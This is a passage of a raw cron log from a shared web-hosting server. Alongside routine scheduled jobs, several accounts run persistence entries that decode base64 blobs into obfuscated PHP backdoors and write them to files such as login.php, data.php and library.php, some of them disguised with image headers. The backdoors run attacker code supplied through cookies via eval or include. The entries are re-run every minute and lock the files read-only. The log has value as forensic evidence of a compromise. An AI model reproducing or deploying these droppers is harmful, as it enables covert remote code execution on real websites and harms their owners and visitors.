3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:01:02 medusa CROND[19537]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:01:02 medusa CROND[19536]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:01:02 medusa CROND[19546]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:01:02 medusa CROND[19547]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:01:02 medusa CROND[19552]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 06:01:02 medusa CROND[19553]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:01:02 medusa CROND[19554]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:01:02 medusa CROND[19556]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:01:02 medusa CROND[19557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:01:02 medusa CROND[19555]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:01:02 medusa run-parts(/etc/cron.hourly)[19552]: starting 0anacron
Mar  1 06:01:02 medusa run-parts(/etc/cron.hourly)[19624]: finished 0anacron
Mar  1 06:02:01 medusa CROND[11664]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:02:01 medusa CROND[11665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:02:01 medusa CROND[11666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:02:01 medusa CROND[11670]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:02:01 medusa CROND[11673]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:02:01 medusa CROND[11672]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:02:01 medusa CROND[11674]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:02:01 medusa CROND[11669]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:02:01 medusa CROND[11677]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:02:01 medusa CROND[11678]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:02:01 medusa CROND[11681]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:02:01 medusa CROND[11680]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:02:01 medusa CROND[11695]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:03:01 medusa CROND[3742]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:03:01 medusa CROND[3744]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:03:01 medusa CROND[3743]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:03:01 medusa CROND[3745]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:03:01 medusa CROND[3746]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgP